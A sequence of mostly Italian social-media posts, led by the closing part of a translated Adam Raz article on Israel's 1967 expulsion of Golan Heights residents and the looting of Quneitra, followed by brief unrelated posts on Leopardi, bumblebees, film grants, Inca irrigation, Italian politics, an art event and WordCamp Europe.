“Ricordo ancora oggi che anche allora questa scena mi ha fatto una cattiva impressione. È come quello che è successo a Lod, Ramle e in altri posti durante la Guerra d’Indipendenza”.

Contemporaneamente alle operazioni di espulsione, le forze israeliane si impegnarono nel sequestro delle proprietà lasciate indietro. “Rapine e saccheggi continuano incessantemente”, affermava la denuncia siriana all’ONU. “Le ricerche si concentrano su gioielli femminili, oro e televisori. Ogni negozio di Quneitra è stato saccheggiato. La maggior parte delle case fu saccheggiata, e persino i mobili che piacevano agli invasori non furono lasciati indietro e trasportati in Palestina occupata con camion”. Non mancano le testimonianze dei soldati a sostegno della denuncia siriana. “Entri per sgomberare una casa, e i tuoi occhi sono naturalmente attratti dagli altri dettagli,” raccontò un soldato in una testimonianza censurata di Soldiers’ Talk. “A volte i ragazzi sparavano alle televisioni per frustrazione”. Frustrazione per cosa? “Se non lo prendo io, lo farà qualcun altro, e quella sarà la Polizia Militare, quindi è meglio distruggerlo”.

Ulteriori documenti che costituiscono la base di questa indagine furono trovati nell’archivio della Croce Rossa a Ginevra. Israele cercò di limitare le attività dell’organizzazione ma non riuscì a rimuoverla completamente. Un osservatore che visitò le Alture del Golan a metà luglio descrisse scene di distruzione e saccheggio diffusi: biancheria da letto era stata bruciata, i contenuti sparsi nel caos, i tetti distrutti e i resti carbonizzati di mobili lasciati indietro. Il personale della Croce Rossa fece riferimento nei suoi rapporti all’incendio dei raccolti, che, secondo la Siria, era destinato a far morire di fame i residenti rimasti. Nel complesso, era chiaro che gli osservatori capivano ciò che stavano vedendo. Uno di loro scrisse che il rappresentante delle IDF cercava di inquadrare la situazione come persone che entravano in Siria per cercare i propri parenti e riportarli indietro, ma gli osservatori liquidarono ciò come improbabile; il sergente sorrise e sembrò d’accordo. A differenza del 1948, questa volta l’espulsione degli arabi fu ampiamente trattata dai media internazionali. Anche rapporti israeliani apparivano occasionalmente. Cinque mesi dopo la guerra, l’attivista e giornalista Joseph Algazy pubblicò un articolo che era stato parzialmente censurato. Secondo Algazy, che pubblicò l’articolo con le insegne della censura, centinaia di migliaia di persone furono espulse dall’inizio della guerra dalle Alture del Golan, dalla Cisgiordania e da Gaza: “In effetti, alcuni furono sradicati per ‘scelta’ […] ma il resto fu sradicato, letteralmente, dal terrore della canna Uzi e degli ordigni esplosivi”. Il colonnello Shlomo Gazit, nominato dallo Stato Maggiore per sovrintendere al governo militare nei territori occupati, sostenne nel marzo 1968 “che in nessun caso dovremmo definire espulsione la migrazione volontaria dei siriani verso il territorio siriano”. Nella corrispondenza interna, i funzionari israeliani hanno usato la parola “espulsione” senza difficoltà. Michael Comay, consigliere diplomatico del ministro degli Esteri Abba Eban, scrisse in una corrispondenza interna di metà 1968 che “l’espulsione degli arabi di Quneitra, che va avanti da diversi mesi, provoca ripetute lamentele e richieste da parte della Croce Rossa”. Suggerì una linea d’azione preferita: “Ci sembra che, se non c’è alternativa, sia meglio eliminare il problema immediatamente nel modo più umano possibile”.

La regista Netalie Braun, nel suo film Shooting, uscito lo scorso anno, presenta la testimonianza di un residente del villaggio abbandonato di Mansura, situato vicino al Kibbutz Merom Golan oggi: “La maggior parte delle persone del villaggio si è spaventata ed è fuggita verso Damasco. Solo circa un quarto degli abitanti del villaggio è rimasto. La nonna era già anziana e aveva un problema alla gamba, così siamo rimasti. Pensavamo che gli ebrei avrebbero presto lasciato le alture del Golan. Molti degli uomini che se ne andarono riuscirono a infiltrarsi di nuovo nelle loro case e a raccogliere gli animali sparsi, ma era pericoloso perché l’esercito israeliano sparava a chiunque tentasse di tornare. Da coloro che fuggirono, presero tutto; li abbiamo visti caricare cose sui trattori. Mi vergogno a dire che non abbiamo visto e fatto nulla per paura. E ricordo i pensieri che mi attraversavano la testa: cosa resterà di tutto ciò che conoscevo? Dov’è la mia casa?”. Israele non permise a nessuno di tornare e dichiarò un governo militare. Nel giro di pochi mesi, i coloni ebrei iniziarono a costruire le loro case nel territorio appena conquistato.


Adam Raz è un ricercatore e storico per i diritti umani. Raz lavora presso l’Akevot Institute for Israeli-Palestinian Conflict Research ed è autore di Loot: How Israel Stole Palestinian Property, e di reportage per “Haaretz”.

Ulteriori immagini che accompagnano l’articolo originale sono visibili a questo indirizzo:
israelpalestinenews.org/we-wer…

L’articolo viene da un post di Stefano Morselli su fb
#1967Nakba #AdamRaz #AkevotInstituteForIsraeliPalestinianConflictResearch #dirittiUmani #LootHowIsraelStolePalestinianProperty #Nakba1967 #StefanoMorselli

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Le missioni spaziali non hanno soltanto sviluppato nuove tecnologie, ma hanno finito per diffondere una diversa visione del mondo, anche attraverso le immagini. La Terra vista dallo spazio appare sola, minuscola e insignificante nell’immensità dell’universo. L’astronomo Carl Sagan ha spiegato bene come quell’immagine ridimensioni le ambizioni e la vanità degli esseri umani e sottolinei la necessità di prenderci cura gli uni degli altri.

Ma due secoli fa Giacomo Leopardi anticipò tutte queste riflessioni, prima dei viaggi spaziali e addirittura prima delle fotografie, soltanto con la forza del proprio pensiero. La famosa fotografia della Terra scattata dalla sonda Voyager da 6 miliardi di chilometri di distanza corrisponde perfettamente alla sua descrizione. Ancora oggi chi sopravvaluta l’importanza dell’umanità e propone una visione trionfalistica del progresso scientifico farebbe bene a leggere “La ginestra” e gli altri scritti di Leopardi.

@astronomia

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I bombi hanno dimostrato di saper risolvere problemi complessi in modo spontaneo, come gli scimpanzé
https://www.wired.it/article/bombi-hanno-dimostrato-saper-risolvere-problemi-complessi-modo-spontaneo-come-scimpanze/?utm_source=flipboard&utm_medium=activitypub

Pubblicato su Wired Italia @wired-italia-WiredItalia

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dall’8 giugno si aprono i bandi aamod


Tutti i dettagli sui bandi e le modalità di partecipazione saranno disponibili dall’8 giugno sui siti ufficiali:

premiozavattini.it/

unarchive.it/unarchive-suoni-e…
#AAMOD #bandi #doc #documentario #filmVideo #riusoDelleImmagini #Unarchive

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Ancient Serpent Irrigation System - Machu Picchu, Peru 🇵🇪

The stone channel is carved into a serpentine shape, reflecting Inca mastery of both hydraulics and symbolic landscape design.

This engineering marvel is still functional, with water flowing through the channels centuries after its construction.

#archaeohistories

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Ogni tanto ci dimentichiamo che fare politica, per molte persone, è un lavoro. Che in un lavoro conta sì quello che fai ma molto conta anche quanto ti pagano, se sei in un'azienda che fa utili e quindi ii tuo posto è al sicuro, o se sei in un'azienda decotta, quali possibilità di carriera hai, ecc.

E quanti di noi ci resterebbero in un'azienda decotta, come la Lega, o in un'azienda che campa di ricordi del leader che fu, come Forza Italia?


Il nuovo deputato del partito di Vannacci, che lasciò la Lega perché troppo vicina alle idee di Vannacci
https://www.ilpost.it/2026/06/06/davide-bergamini-lascia-lega-passa-futuro-nazionale/?utm_source=flipboard&utm_medium=activitypub

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6-7 june, rome, fondazione atonal: asemic writing


Fondazione Atonal
Sabato 6 e domenica 7 giugno, nel pomeriggio
Terrazze e cortili aperti a Torpignattara
c/o Arcaluce, via Ugo Niutta 20
#asemic #asemicWriting #FabioLapiana #FondazioneAtonal #scritturaAsemica

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To be honest, I've been resting the whole day so I missed WordCamp Europe. Just learnt that next year it'll be in Malaga, Spain. Quite good/friendly country I think, so I'm taking the chance. I'm building some good experiences which, if they succeed, I'd really like to share them with public in an international event. It would be a real boost for me. #WordPress #ActivityPub